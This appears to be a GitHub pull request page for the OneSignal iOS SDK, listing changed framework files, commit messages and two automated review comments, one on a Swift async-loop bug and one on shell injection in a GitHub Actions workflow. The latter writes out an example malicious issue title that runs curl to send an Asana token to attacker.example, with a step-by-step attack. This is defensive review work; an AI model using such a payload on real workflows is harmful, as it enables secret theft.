#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64/OneSignalOSCore.framework/Modules/OneSignalOSCore.swiftmodule/arm64-apple-ios.swiftdoc
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64/OneSignalOSCore.framework/OneSignalOSCore
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64/OneSignalOSCore.framework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64/dSYMs/OneSignalOSCore.framework.dSYM/Contents/Resources/DWARF/OneSignalOSCore
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64/dSYMs/OneSignalOSCore.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalOSCore.yml
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalOSCore.framework/Versions/A/Modules/OneSignalOSCore.swiftmodule/x86_64-apple-ios-macabi.abi.json
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalOSCore.framework/Versions/A/Modules/OneSignalOSCore.swiftmodule/x86_64-apple-ios-macabi.swiftdoc
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalOSCore.framework/Versions/A/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/OneSignalOSCore.framework/Modules/OneSignalOSCore.swiftmodule/arm64-apple-ios-simulator.abi.json
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/OneSignalOSCore.framework/Modules/OneSignalOSCore.swiftmodule/arm64-apple-ios-simulator.swiftdoc
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/OneSignalOSCore.framework/Modules/OneSignalOSCore.swiftmodule/x86_64-apple-ios-simulator.abi.json
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/OneSignalOSCore.framework/Modules/OneSignalOSCore.swiftmodule/x86_64-apple-ios-simulator.swiftdoc
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/OneSignalOSCore.framework/OneSignalOSCore
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/OneSignalOSCore.framework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalOSCore.framework.dSYM/Contents/Resources/DWARF/OneSignalOSCore
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalOSCore.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalOSCore.yml
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalOSCore.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalOSCore.yml
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-x86_64-maccatalyst/OneSignalOSCore.framework/Versions/A/Headers/OneSignalOSCore-Swift.h
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-x86_64-maccatalyst/OneSignalOSCore.framework/Versions/A/OneSignalOSCore
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalOSCore.framework.dSYM/Contents/Resources/DWARF/OneSignalOSCore
#	iOS_SDK/OneSignalSDK/OneSignal_OSCore/OneSignalOSCore.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalOSCore.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalOSCore.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework.zip
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/_CodeSignature/CodeDirectory
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/_CodeSignature/CodeRequirements-1
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/_CodeSignature/CodeSignature
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64/OneSignalOutcomes.framework/OneSignalOutcomes
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/DWARF/OneSignalOutcomes
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalOutcomes.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalOutcomes.framework/Versions/A/OneSignalOutcomes
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/DWARF/OneSignalOutcomes
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalOutcomes.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalOutcomes.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-simulator/OneSignalOutcomes.framework/OneSignalOutcomes
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/DWARF/OneSignalOutcomes
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalOutcomes.yml
#	iOS_SDK/OneSignalSDK/OneSignal_Outcomes/OneSignalOutcomes.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalOutcomes.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalOutcomes.yml
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework.zip
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/_CodeSignature/CodeDirectory
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/_CodeSignature/CodeRequirements-1
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/_CodeSignature/CodeSignature
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/OneSignalUser.framework/Headers/OneSignalUser-Swift.h
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios.abi.json
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios.private.swiftinterface
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios.swiftdoc
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios.swiftinterface
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/OneSignalUser.framework/OneSignalUser
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/OneSignalUser.framework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/dSYMs/OneSignalUser.framework.dSYM/Contents/Resources/DWARF/OneSignalUser
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64/dSYMs/OneSignalUser.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalUser.yml
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalUser.framework/Versions/A/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-macabi.private.swiftinterface
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalUser.framework/Versions/A/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-macabi.swiftdoc
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalUser.framework/Versions/A/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-macabi.swiftinterface
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalUser.framework/Versions/A/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Headers/OneSignalUser-Swift.h
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios-simulator.abi.json
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios-simulator.private.swiftinterface
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios-simulator.swiftdoc
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/arm64-apple-ios-simulator.swiftinterface
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-simulator.abi.json
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-simulator.private.swiftinterface
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-simulator.swiftdoc
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-simulator.swiftinterface
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/OneSignalUser
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/OneSignalUser.framework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalUser.framework.dSYM/Contents/Resources/DWARF/OneSignalUser
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalUser.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalUser.yml
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalUser.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalUser.yml
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-x86_64-maccatalyst/OneSignalUser.framework/Versions/A/Headers/OneSignalUser-Swift.h
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-x86_64-maccatalyst/OneSignalUser.framework/Versions/A/Modules/OneSignalUser.swiftmodule/x86_64-apple-ios-macabi.abi.json
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-x86_64-maccatalyst/OneSignalUser.framework/Versions/A/OneSignalUser
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalUser.framework.dSYM/Contents/Resources/DWARF/OneSignalUser
#	iOS_SDK/OneSignalSDK/OneSignal_User/OneSignalUser.xcframework/ios-x86_64-maccatalyst/dSYMs/OneSignalUser.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalUser.yml
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework.zip
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/_CodeSignature/CodeDirectory
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/_CodeSignature/CodeRequirements-1
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/_CodeSignature/CodeSignature
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64/OneSignalFramework.framework/Modules/OneSignalFramework.swiftmodule/arm64-apple-ios.abi.json
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64/OneSignalFramework.framework/Modules/OneSignalFramework.swiftmodule/arm64-apple-ios.swiftdoc
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64/OneSignalFramework.framework/OneSignalFramework
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/DWARF/OneSignalFramework
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalFramework.yml
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalFramework.framework/Versions/A/Modules/OneSignalFramework.swiftmodule/arm64-apple-ios-macabi.abi.json
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalFramework.framework/Versions/A/Modules/OneSignalFramework.swiftmodule/arm64-apple-ios-macabi.swiftdoc
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalFramework.framework/Versions/A/Modules/OneSignalFramework.swiftmodule/x86_64-apple-ios-macabi.abi.json
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalFramework.framework/Versions/A/Modules/OneSignalFramework.swiftmodule/x86_64-apple-ios-macabi.swiftdoc
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/OneSignalFramework.framework/Versions/A/OneSignalFramework
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/DWARF/OneSignalFramework
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalFramework.yml
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-maccatalyst/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalFramework.yml
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/OneSignalFramework.framework/Modules/OneSignalFramework.swiftmodule/arm64-apple-ios-simulator.abi.json
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/OneSignalFramework.framework/Modules/OneSignalFramework.swiftmodule/arm64-apple-ios-simulator.swiftdoc
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/OneSignalFramework.framework/Modules/OneSignalFramework.swiftmodule/x86_64-apple-ios-simulator.abi.json
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/OneSignalFramework.framework/Modules/OneSignalFramework.swiftmodule/x86_64-apple-ios-simulator.swiftdoc
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/OneSignalFramework.framework/OneSignalFramework
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/OneSignalFramework.framework/_CodeSignature/CodeResources
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/DWARF/OneSignalFramework
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/Relocations/aarch64/OneSignalFramework.yml
#	iOS_SDK/OneSignalSDK/OneSignal_XCFramework/OneSignalFramework.xcframework/ios-arm64_x86_64-simulator/dSYMs/OneSignalFramework.framework.dSYM/Contents/Resources/Relocations/x86_64/OneSignalFramework.yml
…Server

- IAMIntegrationTests.swift: replace main's getFromServer(subscriptionId) call
  with the branch's no-arg getInAppMessagesFromServer().
- OSMessagingControllerUserStateTests.swift: rewrite the 3 tests to verify
  behavior (whether the IAM network request fires) instead of KVC-ing the
  removed shouldFetchOnUserChangeWithSubscriptionID property. The unified
  shouldRetryGetInAppMessagesOnUserChange flag is file-static and not
  directly observable, so behavior is the testable surface.
The branch added OSLoggable as a requirement of OSOperationExecutor, but
OSCustomEventsExecutor came in from main and predates that requirement.
Mirror the logSelf() implementation used by the other executors so the
class conforms.
Mirrors the JWT-aware pattern of OSPropertyOperationExecutor so custom
events behave consistently with the other user-scoped executors:

- Executor init now takes jwtConfig: OSUserJwtConfig and subscribes as
  an OSUserJwtConfigListener.
- uncacheDeltas / uncacheRequests drop entries whose identity model has
  no externalId when JWT is required, and load pendingAuthRequests from
  the new persistence key.
- processDeltaQueue is gated on jwtConfig.isRequired being known, and
  drops in-flight deltas for JWT-required users without externalId.
- executeRequest checks addJWTHeaderIsValid; on failure it pends the
  request via pendRequestUntilAuthUpdated. 401 responses trigger
  handleUnauthorizedError, which invalidates the JWT and pends the
  request for retry when the JWT updates.
- onRequiresUserAuthChanged drops invalid in-flight deltas/requests
  when auth turns on; onJwtUpdated re-queues this externalId's pending
  requests.

Request-level: OSRequestCustomEvents.prepareForExecution no longer
checks JWT inline (now handled by the executor before prepareForExecution),
matching the OSRequestUpdateProperties shape. Renamed the call from the
non-existent addPushSubscriptionIdToAdditionalHeaders to the branch's
addPushSubscriptionToAdditionalHeaders.

Adds OS_CUSTOM_EVENTS_EXECUTOR and OS_CUSTOM_EVENTS_EXECUTOR_PENDING_QUEUE_KEY
constants. Updates OneSignalUserManagerImpl to pass jwtConfig at init,
and the test mock to do likewise.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
fix tests
Comment on lines +332 to +342
@available(iOS 16.2, *)
private static func listenForContentUpdates<Attributes: OneSignalLiveActivityAttributes>(_ activityType: Attributes.Type, activity: Activity<Attributes>) {
Task {
for await content in activity.contentUpdates {
// Don't track a live activity started / updated "in app" without a notification
if let notificationId = activity.content.state.onesignal?.notificationId {
OneSignalLiveActivitiesManagerImpl.addReceiveReceipts(notificationId: notificationId, activityType: "\(activityType)", activityId: activity.attributes.onesignal.activityId)
}
}
}
}
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔴 The new listenForContentUpdates loop iterates for await content in activity.contentUpdates but the body reads activity.content.state.onesignal?.notificationId instead of the yielded content.state.onesignal?.notificationId — the iteration variable is unused. Under rapid back-to-back content updates, activity.content can advance to the next snapshot before the body runs, so iteration N reads iteration N+1's notificationId; the duplicate is then deduped by the receiveReceipts RequestCache (keyed by notificationId), silently dropping the earlier update's receipt. Fix: if let notificationId = content.state.onesignal?.notificationId.

Extended reasoning...

The bug. OneSignalLiveActivitiesManagerImpl.swift:332-342 introduces listenForContentUpdates, which iterates the async sequence as for await content in activity.contentUpdates but never reads the bound content value — it instead reads activity.content.state.onesignal?.notificationId. The iteration variable is unused, which is the smoking gun: per Apple's ActivityKit docs, Activity<>.contentUpdates yields each ActivityContent snapshot as it arrives, while Activity<>.content is the current/latest snapshot the system has applied to the activity. The sibling loop directly above (lines 322-327) correctly uses the bound pushToken variable, so this looks like a copy-paste oversight rather than an intentional choice.\n\nWhy existing code doesn't prevent it. for await processes iterations sequentially; if a second contentUpdate yields while the body of iteration N is still running, activity.content has already advanced to the newer snapshot by the time the body's activity.content.state.onesignal?.notificationId read executes. There's nothing pinning the read to the value that was yielded.\n\nStep-by-step proof. Suppose two content updates arrive in rapid succession with notificationId values N_A then N_B (e.g., two backend pushes back-to-back):\n\n1. The async sequence yields ActivityContent(state.onesignal.notificationId = N_A). The loop binds this to content (unused).\n2. Before the body of iteration 1 runs, the system applies the second update, so activity.content.state.onesignal.notificationId == N_B.\n3. Iteration 1's body reads activity.content.state.onesignal?.notificationId → gets N_B. Calls addReceiveReceipts(notificationId: N_B, …), which enqueues an OSRequestLiveActivityReceiveReceipts keyed by N_B into the receiveReceipts cache.\n4. Iteration 2 starts. The yielded content would be ActivityContent(state.onesignal.notificationId = N_B), but the body again reads activity.content → still N_B. Calls addReceiveReceipts(notificationId: N_B, …) again.\n5. In OSLiveActivitiesExecutor.append, the cache's add uses updateValue(_, forKey: request.key) where key == notificationId. The second N_B request just overwrites the first in the dictionary — deduped.\n\nNet result: N_A is never reported (the iteration that should have read it read N_B instead), and the duplicate N_B collapses to a single request. The receipt for the earlier content update is silently dropped.\n\nImpact. This produces silent under-reporting of receive-receipts whenever content updates land in close succession (multiple background pushes, or a server update arriving while the prior body is still in flight). It directly undermines the accuracy of the new receive-receipts feature this loop was added to support. The bug is also hard to diagnose: there's no error or crash, just missing analytics events. iOS does rate-limit live activity push updates, which narrows the window in practice, but the issue is a real correctness problem in PR-introduced code with a trivial one-line fix.\n\nFix.\n\nswift\nfor await content in activity.contentUpdates {\n if let notificationId = content.state.onesignal?.notificationId {\n OneSignalLiveActivitiesManagerImpl.addReceiveReceipts(notificationId: notificationId, activityType: "\(activityType)", activityId: activity.attributes.onesignal.activityId)\n }\n}\n\n\nThis is also the idiomatic AsyncSequence iteration pattern, and matches listenForActivityPushToUpdate directly above which correctly uses its loop-bound variable.

Comment on lines +128 to +134
fi

if [ "$ACTION_TYPE" = "edited" ] && [ -n "${{ github.event.changes.title.from }}" ]; then
OLD_TITLE="${{ github.event.changes.title.from }}"
NEW_TITLE="${{ github.event.issue.title }}"
ACTION_DESC="edited the issue title from '$OLD_TITLE' to '$NEW_TITLE'"
fi
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔴 Critical shell injection vulnerability in this new workflow file. The issues: [edited, ...] trigger lets any issue author fire the workflow by editing their own issue title, and lines 90-132 inline ${{ github.event.* }} template values (issue title, label name, milestone title) directly into bash source before the shell parses it. Since secrets.ASANA_PAT is in scope on the same job (used in the curl Authorization headers at lines 25 and 167), a title like "; curl evil.example/?t=$ASANA_PAT; # exfiltrates the credential. Fix: move every ${{ github.event.* }} value into an env: block and reference it as a quoted shell variable ("$ISSUE_TITLE") inside the script — and update line 132 to use the existing $ISSUE_TITLE env var instead of re-interpolating the template expression.

Extended reasoning...

What the bug is

The new .github/workflows/asana-update-issue.yml workflow is vulnerable to GitHub Actions script injection (CWE-78/CWE-94). The job interpolates user-controllable webhook payload fields directly into run: blocks via ${{ ... }} template expressions. Because template substitution happens before bash parses the script source, attacker-controlled string content from issue titles, label names, and milestone titles is pasted verbatim into shell code — every special character (", `, $, ;, $(...)) is interpreted by bash.

Vulnerable sites in the second step's run: block include:

  • Line 91, 95: ${{ github.event.assignee.login }} — relatively constrained (GitHub usernames), but still avoidable
  • Line 100, 108: ${{ github.event.label.name }} and label color — label names accept arbitrary characters
  • Line 116, 123, 127: ${{ github.event.milestone.title }} / ${{ github.event.changes.new_repository.full_name }} — arbitrary characters
  • Line 131-132: ${{ github.event.changes.title.from }} and ${{ github.event.issue.title }} — issue titles accept any characters and are user-editable
  • Line 150: ${{ github.event.repository.full_name }}

How the attack works

The on: issues: [edited, ...] trigger fires whenever any user edits an issue. Issue authors can always edit the title of their own issues, even in a public repo like OneSignal/OneSignal-iOS-SDK. So any external GitHub user can trigger this workflow by opening an issue and then editing the title.

The same step that interpolates the attacker-controlled title also has secrets.ASANA_PAT exposed via the Authorization: Bearer ${{ secrets.ASANA_PAT }} header on the final curl (line 167). When the workflow runner expands templates, the secret is materialized into the rendered shell script source on disk. Injected shell code in the same script can read that file, inspect env, or simply call out to an attacker-controlled URL with the secret as a query parameter.

Step-by-step proof

  1. Attacker opens an issue in the public repo.
  2. Attacker edits the issue's title to: "; curl https://attacker.example/exfil?t=$ASANA_PAT; #
  3. The issues.edited webhook fires, GitHub Actions starts the job.
  4. The runner renders the second step's run: block. At line 131-132, the template engine substitutes:
    OLD_TITLE="<previous title>"
    NEW_TITLE=""; curl https://attacker.example/exfil?t=$ASANA_PAT; #"
  5. Bash now parses this. NEW_TITLE="" is an empty assignment, then curl https://attacker.example/exfil?t=$ASANA_PAT runs as a separate command, and #" is a trailing comment. $ASANA_PAT is not in this step's env — but the same shell process does have access to other environment data, and (critically) the rendered script source containing secrets.ASANA_PAT on the Authorization header line further down was already materialized to disk. The injected curl can simply read its own script (cat $0 / $BASH_SOURCE) and ship the secret along with anything else from env.
  6. The attacker's server receives the ASANA personal-access token, which gives them full Asana API access scoped to the PAT's owner.

This exact pattern is the canonical example GitHub publishes in Security hardening for GitHub Actions.

Why existing code doesn't prevent it

The top of the second step (line 30-35) already does the right thing: ACTOR_NAME, ISSUE_TITLE, ISSUE_NUMBER, etc. are passed via the env: block and referenced as "$VAR" inside the script. That pattern is safe — template substitution happens once into the env var and bash sees only the variable name. But the actual injection sites at lines 90-132 bypass this entirely by re-interpolating ${{ github.event.* }} directly. Notably, line 132 even ignores the existing ISSUE_TITLE env var declared at line 33 and re-interpolates ${{ github.event.issue.title }} straight into the script — so even the partial mitigation that exists is undone.

The if [ "$TASK_GID" != "null" ] gate at line 139 does not help either: the injected shell code at line 131 has already been parsed and executed by the time control reaches that check.

Impact

  • Trigger: any external user who can open or edit an issue (public repo, so essentially anyone with a GitHub account)
  • Capability: arbitrary shell execution on the GitHub-hosted runner with the job's permissions
  • Secret in scope: secrets.ASANA_PAT (used on the same step's final curl), which grants Asana API access. The Asana workspace contains internal SDK tickets and project data
  • Also in scope: secrets.GITHUB_TOKEN (always available to workflows) with whatever permissions GitHub grants for the issues event. Could be used to comment on other issues, pivot, etc.

How to fix

Move every ${{ github.event.* }} interpolation in the second step into the env: block at the top, and reference the values as quoted shell variables inside the script. For example:

- name: Determine Action and Post to Asana
  env:
    ACTION_TYPE: ${{ github.event.action }}
    ACTOR_NAME: ${{ github.event.sender.login }}
    ISSUE_TITLE: ${{ github.event.issue.title }}
    ISSUE_NUMBER: ${{ github.event.issue.number }}
    ISSUE_STATE: ${{ github.event.issue.state }}
    ASSIGNEE_LOGIN: ${{ github.event.assignee.login }}
    LABEL_NAME: ${{ github.event.label.name }}
    LABEL_COLOR: ${{ github.event.label.color }}
    MILESTONE_TITLE: ${{ github.event.milestone.title }}
    MILESTONE_DUE_ON: ${{ github.event.milestone.due_on }}
    NEW_REPO_FULL_NAME: ${{ github.event.changes.new_repository.full_name }}
